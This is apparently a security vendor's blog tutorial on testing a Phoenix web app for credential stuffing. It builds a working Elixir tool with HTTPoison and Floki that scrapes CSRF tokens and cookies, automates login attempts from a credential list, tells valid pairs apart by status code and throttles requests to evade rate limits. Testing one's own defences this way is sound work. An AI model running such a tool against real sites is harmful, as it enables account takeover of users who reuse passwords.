Paraxial.io Blog

Testing a Phoenix application for credential stuffing with Elixir, Floki, and HTTPoison

by Michael Lubas

Credential stuffing is a type of attack performed against web applications, where the attacker uses username/password pairs from a data breach as input to a program, which performs automated login attempts against a victim application. This is a highly effective technique for stealing user accounts, because password reuse is so common.

This post will demonstrate how to test a Phoenix web application to see if credential stuffing from one IP address is possible. If you work on a public-facing web application, and want to improve its security, this is an excellent test. Credential stuffing attacks are easy for attackers to perform, and lead to user accounts getting compromised. If you currently have defenses in place, such as a bot prevention tool, captcha, or custom plugs, this project will reveal discrepancies between how you expect the system to behave, and how it actually does.

1. Setup the Victim Phoenix Application, Orru

The example victim application, orru, was created with Elixir 1.12 and Phoenix 1.6. It is a basic Phoenix application, with an authentication system created with mix phx.gen.auth.

Download and install Orru with the following commands:

git clone https://github.com/paraxialio/orru.git
cd orru
mix deps.get
mix ecto.setup
mix phx.server

Open http://localhost:4000 in your web browser, and confirm the application is running correctly.

Create a new user with the following email and password:

Email: crow11@example.com
Password: crowSecret11

2. The login process

Before you begin writing a credential stuffing program, you must understand what is happening when your web browser sends a login request to the Orru application. With Orru running, go to http://localhost:4000, open your browser’s development tools, and go to the Network tab.

Under the Network tab, make sure Preserve log is checked. Send a login attempt and observe the POST request.

The POST request is composed of a few values, the _csrf_token, email, password, and remember me flag. When a user wants to login to Orru, the required values are the _csrf_token, email, and password. These will be used by the attacker to launch a credential stuffing attack.

3. Attacker Perspective

For this tutorial, you will use a file containing 100 email/password pairs, located at https://github.com/paraxialio/envy/blob/master/credentials_100.txt Here is a sample of the of the file:

crow0@example.com,crowSecret0
crow1@example.com,crowSecret1
crow2@example.com,crowSecret2
crow3@example.com,crowSecret3
crow4@example.com,crowSecret4
crow5@example.com,crowSecret5

Earlier, as a user of the application, you created an account with the credentials (crow11@example.com,crowSecret11). As an attacker, you will use this list as input to a program that performs automated logins, to reveal which credential pair in the list is valid. Create the mix project, named envy, with:

mix new envy

Now that you have a mix project for your credential stuffing program, consider what work it must perform. At this point you know it must take the credentials_100.txt as input, iterate through that list, and use each credential pair to perform the appropriate POST request. If you are already familiar with how cross site request forgery (CSRF) tokens work, you know that one must be first retrieved to make a successful POST request.

If you were to write a program to make a POST request to Orru now, with a proper CSRF token in the POST body, the request will fail. The reason for this is Phoenix requires a cookie named _orru_key to be sent with the request. From the browser tools:

Now you know all the necessary information needed to send a post request. That is, an email, password, csrf_token, and _orru_key cookie.

To make HTTP requests and parse the response, install HTTPoison and Floki in your mix file:

  defp deps do
    [
      {:httpoison, "~> 1.8"},
      {:floki, "~> 0.32.0"}
    ]
  end

The first function you will write makes a GET request to http://localhost:4000/users/log_in. The response from the server will have the CSRF token and cookie needed for the credential stuffing attack. Start with the HTTP request:

iex -S mix 

iex(1)> {:ok, response} = HTTPoison.get("http://localhost:4000/users/log_in")

Observe the value of response.headers

iex(8)> response.headers
[
  {"cache-control", "max-age=0, private, must-revalidate"},
  {"content-length", "2117"},
  {"content-type", "text/html; charset=utf-8"},
  {"cross-origin-window-policy", "deny"},
  {"date", "Thu, 14 Jul 2022 17:19:53 GMT"},
  {"server", "Cowboy"},
  {"x-content-type-options", "nosniff"},
  {"x-download-options", "noopen"},
  {"x-frame-options", "SAMEORIGIN"},
  {"x-permitted-cross-domain-policies", "none"},
  {"x-request-id", "FwHBxikmMb8ktZQAAAJh"},
  {"x-xss-protection", "1; mode=block"},
  {"set-cookie",
   "_orru_key=...; path=/; HttpOnly"}
]

Extracting the _orru_key cookie is straightforward:

Enum.find(response.headers, fn {x, _} -> x == "set-cookie" end) 

To extract the CSRF token from the response body, use Floki:

response.body |> Floki.parse_document!() |> Floki.find("[name=_csrf_token")

[
  {"input",
   [
     {"name", "_csrf_token"},
     {"type", "hidden"},
     {"value", "LQc8MCAqTQdiG14FLSQMUgQlUwtsMzlcgMLWmN8I3mlldIhktkka-QWo"}
   ], []}
]

Now that you have a better picture of the response sent by the server, it’s time to write a function that returns a map containing the cookie and csrf token.

defmodule Envy do
  @url "http://localhost:4000/users/log_in"

  def get_csrf_and_cookie() do
    with {:ok, r} <- HTTPoison.get(@url),
         {:ok, html} <- Floki.parse_document(r.body),
         [{_, [_,_,{_v, csrf_token}], []}] <- Floki.find(html, "[name=_csrf_token")
    do
      cookie = get_cookie(r)
      %{cookie: cookie, csrf_token: csrf_token}
    else
      e ->
        IO.inspect(e)
        raise "Failed to get CSRF token and cookie"
    end
  end

  def get_cookie(response) do
    {_, cookie} =
      response.headers
      |> Enum.find(fn {x, _} -> x == "set-cookie" end)
    cookie
  end
end

Ensure Orru is running, then start an iex session and test this:

iex -S mix
iex(4)> Envy.get_csrf_and_cookie()
%{
  cookie: "_orru_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ19oYktzem9CVTRaQU40ODJDbnBLc21w.HwbRruIypX6QFxes_c_H__dqU4A9T3tGpP3hwrvGpx0; path=/; HttpOnly",
  csrf_token: "FAsjW3IpLDAmMAEUMxlkVlpyBB0cLDsZWTK99ZV_de5NrWPnh1jmW_Vi"
}

Now you have the necessary information to do a login attempt. You will write a function that takes an email address and password as input, makes the necessary POST request, and returns a string with some information about the response. Note that the HTTP request’s Content-Type must be application/x-www-form-urlencoded.

  @headers [{"Content-Type", "application/x-www-form-urlencoded"}]

  def send_login(email, password) do
    cc = get_csrf_and_cookie()
    body = get_post_body(cc.csrf_token, email, password)
    tep = get_tep(email, password)
    case HTTPoison.post(@url, body, @headers, hackney: [cookie: [cc.cookie]]) do
      {:ok, r} ->
        tep <> " Login POST status #{r.status_code}\n"
      _ ->
        tep <> " Login POST failed\n"
    end
  end

  def get_post_body(csrf_token, email, password) do
    [user, domain] = String.split(email, "@")
    "_csrf_token=#{csrf_token}&user%5Bemail%5D=#{user}%40#{domain}&user%5Bpassword%5D=#{password}"
  end

  def get_tep(email, password) do
    "#{NaiveDateTime.local_now()} #{email}/#{password} "
  end

The use of NaiveDateTime is discouraged in production code. For our purpose it works. Start an iex session and test Envy.send_login/2 with a valid and invalid credential:

iex -S mix
iex(6)> Envy.send_login("crow11@example.com", "crowSecret11")
"2022-07-14 13:44:38 crow11@example.com/crowSecret11  Login POST status 302\n"
iex(8)> Envy.send_login("crow11@example.com", "crowSecretWRONG")
"2022-07-14 13:45:51 crow11@example.com/crowSecretWRONG  Login POST status 200\n"

Note that a login with the correct password returns a string with a 302 redirect, while an incorrect login returns 200.

You now have the ability to call a function in Elixir and send a login attempt. You may be tempted to reach for your favorite concurrency method to send HTTP requests as fast as possible. Consider the fact that all the requests you send are going to one site, which may rate limit the number of login attempts one IP can send in a short period of time. To deal with this, you will write a function that introduces a delay between HTTP requests.

  # Convert requests per minute into milliseconds for Process.sleep()
  def convert_rpm(rpm) do
    (1000 * (60 / rpm)) |> trunc()
  end

  # The main function you call to perform an account takeover attack
  #
  # login_pairs is a list of lists, for example:
  # [["corvid@example.com", "corvidPass2022"], ...]
  #
  # rpm is the limit on how many http requests will be sent
  # in a 60 second period. Defaults to 500
  def ato(login_pairs, rpm \\ 500) do
    login_pairs
    |> do_ato(convert_rpm(rpm))
    |> Enum.map(&Task.await/1)
  end

  def do_ato([], _sleep), do: []
  def do_ato([[email, pass]|t], sleep_n) do
    Process.sleep(sleep_n)
    [Task.async(fn -> send_login(email, pass) end) | do_ato(t, sleep_n)]
  end
iex -S mix

iex(1)> Envy.ato([["corvid@example.com", "corvidPass2022"]])
["2022-07-14 14:06:32 corvid@example.com/corvidPass2022  Login POST status 200\n"]

Now that the Envy.ato/2 function is written, you will write a script that takes command line arguments to determine what file to use as input. In the base directory of the envy project, create a new file, do_ato.exs, and enter the following:

defmodule EnvyScript do

  def run_ato([]) do
    """
    Account Takeover Tool v1.0

    Example usage, default rate limit (60 requests per minute):
    mix run do_ato.exs credentials_10.txt

    Example usage, custom rate limit (100 requests per minute):
    mix run do_ato.exs credentials_10.txt 100
    """
  end

  def run_ato([filename]) do
    pairs = parse_file(filename)
    Envy.ato(pairs)
  end

  def run_ato([filename, rate_limit]) do
    pairs = parse_file(filename)
    irl = String.to_integer(rate_limit)
    Envy.ato(pairs, irl)
  end

  def run_ato(_), do: "Error: too many arguments"

  def parse_file(filename) do
    filename
    |> File.read!()
    |> String.split("\n", trim: true)
    |> Enum.map(fn x -> String.split(x, ",", trim: true) end)
  end
end

System.argv()
|> EnvyScript.run_ato()
|> IO.puts()

You now have everything you need to start a credential stuffing attack with the command:

mix run do_ato.exs credentials_100.txt 

If the victim application rate limited login attempts to one per second, you could use this command to send requests at a slower rate:

mix run do_ato.exs credentials_100.txt 60

You have likely made the observation that this application has no protection at all against a credential stuffing attack, and the only limit to the number of login attempts one IP address can send is how fast the server can process each one.

4. Conclusion

Elixir is not a common choice for attackers doing real credential stuffing attacks. Tools such as Sentry MBA, Selenium, and OpenBullet are used. Professional security testers would use a proxy such as Burp Suite to run this test.

You may have some bot prevention tool currently in place to defend against this attack, such as a dedicated vendor product, WAF, or captcha. Testing the current implementation is strongly encouraged, and the best way to learn how the defense works.

Paraxial.io makes blocking bots and classification of data center IP addresses easy.

Enter your email to stay up to date.